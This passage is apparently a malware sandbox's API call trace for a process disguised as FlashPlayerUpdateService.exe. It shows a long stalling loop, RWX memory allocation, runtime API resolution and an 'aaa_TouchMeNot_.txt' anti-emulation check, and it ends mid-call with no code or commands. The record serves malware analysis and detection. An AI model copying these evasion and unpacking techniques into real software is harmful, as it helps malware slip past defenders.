lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.774] GetFocus () returned 0x0 [0256.774] GetAsyncKeyState (vKey=58) returned 0 [0256.774] GetKBCodePage () returned 0x1b5 [0256.774] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.774] GetFocus () returned 0x0 [0256.774] GetAsyncKeyState (vKey=58) returned 0 [0256.774] GetKBCodePage () returned 0x1b5 [0256.774] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.774] GetFocus () returned 0x0 [0256.775] GetAsyncKeyState (vKey=58) returned 0 [0256.775] GetKBCodePage () returned 0x1b5 [0256.775] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.775] GetFocus () returned 0x0 [0256.775] GetAsyncKeyState (vKey=58) returned 0 [0256.775] GetKBCodePage () returned 0x1b5 [0256.775] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.775] GetFocus () returned 0x0 [0256.775] GetAsyncKeyState (vKey=58) returned 0 [0256.775] GetKBCodePage () returned 0x1b5 [0256.775] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.775] GetFocus () returned 0x0 [0256.775] GetAsyncKeyState (vKey=58) returned 0 [0256.775] GetKBCodePage () returned 0x1b5 [0256.775] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.775] GetFocus () returned 0x0 [0256.775] GetAsyncKeyState (vKey=58) returned 0 [0256.775] GetKBCodePage () returned 0x1b5 [0256.775] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.775] GetFocus () returned 0x0 [0256.775] GetAsyncKeyState (vKey=58) returned 0 [0256.775] GetKBCodePage () returned 0x1b5 [0256.775] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.775] GetFocus () returned 0x0 [0256.775] GetAsyncKeyState (vKey=58) returned 0 [0256.775] GetKBCodePage () returned 0x1b5 [0256.775] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.775] GetFocus () returned 0x0 [0256.775] GetAsyncKeyState (vKey=58) returned 0 [0256.775] GetKBCodePage () returned 0x1b5 [0256.775] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.775] GetFocus () returned 0x0 [0256.775] GetAsyncKeyState (vKey=58) returned 0 [0256.775] GetKBCodePage () returned 0x1b5 [0256.776] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.776] GetFocus () returned 0x0 [0256.776] GetAsyncKeyState (vKey=58) returned 0 [0256.776] GetKBCodePage () returned 0x1b5 [0256.776] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.776] GetFocus () returned 0x0 [0256.776] GetAsyncKeyState (vKey=58) returned 0 [0256.776] GetKBCodePage () returned 0x1b5 [0256.776] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.776] GetFocus () returned 0x0 [0256.776] GetAsyncKeyState (vKey=58) returned 0 [0256.776] GetKBCodePage () returned 0x1b5 [0256.776] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.776] GetFocus () returned 0x0 [0256.776] GetAsyncKeyState (vKey=58) returned 0 [0256.776] GetKBCodePage () returned 0x1b5 [0256.776] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.776] GetFocus () returned 0x0 [0256.776] GetAsyncKeyState (vKey=58) returned 0 [0256.776] GetKBCodePage () returned 0x1b5 [0256.776] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.776] GetFocus () returned 0x0 [0256.776] GetAsyncKeyState (vKey=58) returned 0 [0256.776] GetKBCodePage () returned 0x1b5 [0256.776] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.776] GetFocus () returned 0x0 [0256.776] GetAsyncKeyState (vKey=58) returned 0 [0256.776] GetKBCodePage () returned 0x1b5 [0256.776] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.776] GetFocus () returned 0x0 [0256.776] GetAsyncKeyState (vKey=58) returned 0 [0256.776] GetKBCodePage () returned 0x1b5 [0256.776] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.777] GetFocus () returned 0x0 [0256.777] GetAsyncKeyState (vKey=58) returned 0 [0256.777] GetKBCodePage () returned 0x1b5 [0256.777] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.777] GetFocus () returned 0x0 [0256.777] GetAsyncKeyState (vKey=58) returned 0 [0256.777] GetKBCodePage () returned 0x1b5 [0256.777] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.777] GetFocus () returned 0x0 [0256.777] GetAsyncKeyState (vKey=58) returned 0 [0256.777] GetKBCodePage () returned 0x1b5 [0256.777] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.777] GetFocus () returned 0x0 [0256.777] GetAsyncKeyState (vKey=58) returned 0 [0256.777] GetKBCodePage () returned 0x1b5 [0256.777] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.777] GetFocus () returned 0x0 [0256.777] GetAsyncKeyState (vKey=58) returned 0 [0256.777] GetKBCodePage () returned 0x1b5 [0256.777] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.777] GetFocus () returned 0x0 [0256.777] GetAsyncKeyState (vKey=58) returned 0 [0256.777] GetKBCodePage () returned 0x1b5 [0256.777] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.777] GetFocus () returned 0x0 [0256.777] GetAsyncKeyState (vKey=58) returned 0 [0256.777] GetKBCodePage () returned 0x1b5 [0256.777] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.777] GetFocus () returned 0x0 [0256.777] GetAsyncKeyState (vKey=58) returned 0 [0256.777] GetKBCodePage () returned 0x1b5 [0256.777] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.777] GetFocus () returned 0x0 [0256.777] GetAsyncKeyState (vKey=58) returned 0 [0256.778] GetKBCodePage () returned 0x1b5 [0256.778] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.778] GetFocus () returned 0x0 [0256.778] GetAsyncKeyState (vKey=58) returned 0 [0256.778] GetKBCodePage () returned 0x1b5 [0256.778] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.778] GetFocus () returned 0x0 [0256.778] GetAsyncKeyState (vKey=58) returned 0 [0256.778] GetKBCodePage () returned 0x1b5 [0256.778] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.778] GetFocus () returned 0x0 [0256.778] GetAsyncKeyState (vKey=58) returned 0 [0256.778] GetKBCodePage () returned 0x1b5 [0256.778] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.778] GetFocus () returned 0x0 [0256.778] GetAsyncKeyState (vKey=58) returned 0 [0256.778] GetKBCodePage () returned 0x1b5 [0256.778] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.778] GetFocus () returned 0x0 [0256.778] GetAsyncKeyState (vKey=58) returned 0 [0256.778] GetKBCodePage () returned 0x1b5 [0256.778] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.778] GetFocus () returned 0x0 [0256.778] GetAsyncKeyState (vKey=58) returned 0 [0256.778] GetKBCodePage () returned 0x1b5 [0256.778] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.778] GetFocus () returned 0x0 [0256.778] GetAsyncKeyState (vKey=58) returned 0 [0256.778] GetKBCodePage () returned 0x1b5 [0256.778] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.778] GetFocus () returned 0x0 [0256.778] GetAsyncKeyState (vKey=58) returned 0 [0256.778] GetKBCodePage () returned 0x1b5 [0256.779] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0256.779] GetFocus () returned 0x0 [0256.779] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18fef0 | out: pcyOut=0x18fef0) returned 0x0 [0256.779] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fa3c, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe")) returned 0x3f [0256.779] Sleep (dwMilliseconds=0x94) [0256.933] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18f9b0 | out: ProcedureAddress=0x18f9b0*=0x769d1856) returned 0x0 [0256.933] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x2f0000 [0256.937] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa50 | out: ProcedureAddress=0x18fa50*=0x769d1856) returned 0x0 [0256.937] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x40) returned 0x390000 [0256.938] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d49d7) returned 0x0 [0256.938] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1222) returned 0x0 [0256.938] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1856) returned 0x0 [0256.938] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d435f) returned 0x0 [0256.938] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0256.938] GetProcAddress (hModule=0x769c0000, lpProcName="FlsFree") returned 0x769d359f [0256.938] GetProcAddress (hModule=0x769c0000, lpProcName="SetUnhandledExceptionFilter") returned 0x769d87c9 [0256.938] VirtualProtect (in: lpAddress=0x400000, dwSize=0x29000, flNewProtect=0x40, lpflOldProtect=0x18fae0 | out: lpflOldProtect=0x18fae0*=0x2) returned 1 [0256.944] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x3a0000 [0256.947] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0256.947] GetProcAddress (hModule=0x769c0000, lpProcName="CreateFileW") returned 0x769d3f5c [0256.947] GetProcAddress (hModule=0x769c0000, lpProcName="ExitProcess") returned 0x769d7a10 [0256.947] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0257.431] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.440] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x4b0000 [0257.450] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x104) returned 0x4b07d0 [0257.450] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b08e0 [0257.450] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0968 [0257.450] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b09f0 [0257.450] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0a78 [0257.450] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0b00 [0257.450] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0b88 [0257.450] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0c10 [0257.450] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0c98 [0257.450] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0d20 [0257.450] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0da8 [0257.450] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0e30 [0257.450] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0eb8 [0257.451] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0f40 [0257.451] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b0fc8 [0257.451] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b1050 [0257.451] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b10d8 [0257.451] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x400) returned 0x4b1160 [0257.451] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x550000 [0257.451] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x5507d0 [0257.451] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x550858 [0257.451] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x80) returned 0x5508e0 [0257.451] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x184) returned 0x550968 [0257.451] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x550af8 [0257.451] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x550b40 [0257.451] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x550b88 [0257.451] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x550bd0 [0257.451] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x550c18 [0257.451] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x550c60 [0257.451] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x550ca8 [0257.451] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x550cf0 [0257.451] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x550d38 [0257.452] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x550d80 [0257.452] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x550dc8 [0257.452] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x550e10 [0257.452] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x550e58 [0257.452] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x550ea0 [0257.452] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x550ee8 [0257.452] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x550f30 [0257.452] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashPlayerUpdateService.exe" (normalized: "c:\\windows\\syswow64\\macromed\\flash\\flashplayerupdateservice.exe")) returned 0x3f [0257.452] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x40) returned 0x550f78 [0257.452] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x2c) returned 0x55b828 [0257.458] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0257.458] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0257.458] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: 